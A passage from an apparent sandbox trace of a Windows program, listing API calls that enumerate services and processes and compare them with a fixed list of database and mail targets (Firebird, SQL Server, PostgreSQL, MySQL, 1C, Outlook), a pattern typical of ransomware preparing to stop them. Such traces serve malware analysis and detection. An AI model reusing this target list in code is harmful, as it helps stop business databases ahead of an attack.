lpString2="PcaSvc") returned 1 [0150.545] lstrlenW (lpString="PlugPlay") returned 8 [0150.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0150.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0150.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0150.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0150.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0150.545] lstrlenW (lpString="Power") returned 5 [0150.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0150.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0150.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0150.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0150.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0150.546] lstrlenW (lpString="ProfSvc") returned 7 [0150.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0150.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0150.546] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0150.546] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0150.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0150.546] lstrlenW (lpString="RpcEptMapper") returned 12 [0150.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0150.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0150.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0150.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0150.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0150.546] lstrlenW (lpString="RpcSs") returned 5 [0150.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0150.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0150.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0150.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0150.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0150.546] lstrlenW (lpString="SamSs") returned 5 [0150.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0150.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0150.546] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0150.546] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0150.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0150.546] lstrlenW (lpString="Schedule") returned 8 [0150.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0150.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0150.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0150.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0150.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0150.547] lstrlenW (lpString="SENS") returned 4 [0150.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0150.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0150.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0150.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0150.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0150.547] lstrlenW (lpString="ShellHWDetection") returned 16 [0150.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0150.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0150.547] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0150.547] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0150.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0150.547] lstrlenW (lpString="Spooler") returned 7 [0150.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0150.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0150.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0150.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0150.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0150.547] lstrlenW (lpString="SysMain") returned 7 [0150.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0150.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0150.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0150.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0150.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0150.547] lstrlenW (lpString="Themes") returned 6 [0150.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0150.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0150.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0150.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0150.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0150.548] lstrlenW (lpString="TrkWks") returned 6 [0150.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0150.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0150.548] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0150.548] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0150.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0150.548] lstrlenW (lpString="UxSms") returned 5 [0150.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0150.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0150.548] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0150.548] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0150.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0150.548] lstrlenW (lpString="WdiServiceHost") returned 14 [0150.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0150.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0150.548] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0150.548] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0150.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0150.548] lstrlenW (lpString="WdiSystemHost") returned 13 [0150.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0150.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0150.548] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0150.548] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0150.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0150.548] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0150.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0150.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0150.549] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0150.549] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0150.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0150.549] lstrlenW (lpString="Winmgmt") returned 7 [0150.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0150.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0150.549] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0150.549] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0150.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0150.549] lstrlenW (lpString="WPDBusEnum") returned 10 [0150.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0150.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0150.549] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0150.549] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0150.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0150.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0150.549] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0150.551] Process32FirstW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.551] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0150.552] lstrlenW (lpString="System") returned 6 [0150.552] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0150.552] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0150.552] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0150.552] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0150.552] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0150.552] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0150.552] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0150.552] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0150.552] lstrlenW (lpString="smss.exe") returned 8 [0150.552] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0150.552] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0150.552] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0150.552] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0150.552] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0150.552] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0150.552] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0150.552] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.553] lstrlenW (lpString="csrss.exe") returned 9 [0150.553] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0150.553] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0150.553] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0150.553] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0150.553] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0150.553] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0150.553] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0150.553] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0150.553] lstrlenW (lpString="wininit.exe") returned 11 [0150.553] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0150.553] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0150.553] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0150.553] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0150.554] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0150.554] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0150.554] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0150.554] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.554] lstrlenW (lpString="csrss.exe") returned 9 [0150.554] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0150.554] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0150.554] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0150.554] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0150.554] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0150.554] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0150.555] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0150.555] lstrlenW (lpString="winlogon.exe") returned 12 [0150.555] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0150.555] lstrlenW (lpString="services.exe") returned 12 [0150.555] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0150.556] lstrlenW (lpString="lsass.exe") returned 9 [0150.556] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0150.556] lstrlenW (lpString="lsm.exe") returned 7 [0150.556] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.556] lstrlenW (lpString="svchost.exe") returned 11 [0150.556] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.557] lstrlenW (lpString="svchost.exe") returned 11 [0150.557] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.557] lstrlenW (lpString="svchost.exe") returned 11 [0150.557] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.558] lstrlenW (lpString="svchost.exe") returned 11 [0150.558] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.558] lstrlenW (lpString="svchost.exe") returned 11 [0150.558] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0150.558] lstrlenW (lpString="audiodg.exe") returned 11 [0150.558] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.559] lstrlenW (lpString="svchost.exe") returned 11 [0150.559] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.559] lstrlenW (lpString="svchost.exe") returned 11 [0150.559] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0150.560] lstrlenW (lpString="spoolsv.exe") returned 11 [0150.560] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0150.560] lstrlenW (lpString="taskhost.exe") returned 12 [0150.560] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.560] lstrlenW (lpString="svchost.exe") returned 11 [0150.560] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0150.561] lstrlenW (lpString="userinit.exe") returned 12 [0150.561] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0150.561] lstrlenW (lpString="dwm.exe") returned 7 [0150.561] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0150.561] lstrlenW (lpString="explorer.exe") returned 12 [0150.561] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0150.562] lstrlenW (lpString="3G6885.exe") returned 10 [0150.562] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0150.562] lstrlenW (lpString="reader_sl.exe") returned 13 [0150.562] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0150.562] lstrlenW (lpString="drvinst.exe") returned 11 [0150.562] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0150.563] lstrlenW (lpString="taskhost.exe") returned 12 [0150.563] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0150.563] lstrlenW (lpString="consent.exe") returned 11 [0150.563] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0150.563] CloseHandle (hObject=0x378) returned 1 [0150.563] Sleep (dwMilliseconds=0x1f4) [0151.616] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8798 [0152.183] EnumServicesStatusExW (in: hSCManager=0x41d8798, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0152.183] GetLastError () returned 0xea [0152.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41d9f00 [0152.184] EnumServicesStatusExW (in: hSCManager=0x41d8798, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d9f00, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d9f00, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0152.185] CloseServiceHandle (hSCObject=0x41d8798) returned 1 [0152.186] lstrlenW (lpString="Appinfo") returned 7 [0152.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0152.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0152.186] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0152.186] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0152.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0152.186] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0152.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0152.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0152.186] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0152.186] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0152.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0152.186] lstrlenW (lpString="AudioSrv") returned 8 [0152.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0152.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0152.186] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0152.186] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0152.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0152.186] lstrlenW (lpString="BFE") returned 3 [0152.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0152.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0152.187] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0152.187] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0152.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0152.187] lstrlenW (lpString="CryptSvc") returned 8 [0152.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0152.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0152.187] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0152.187] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0152.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0152.187] lstrlenW (lpString="CscService") returned 10 [0152.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0152.187] 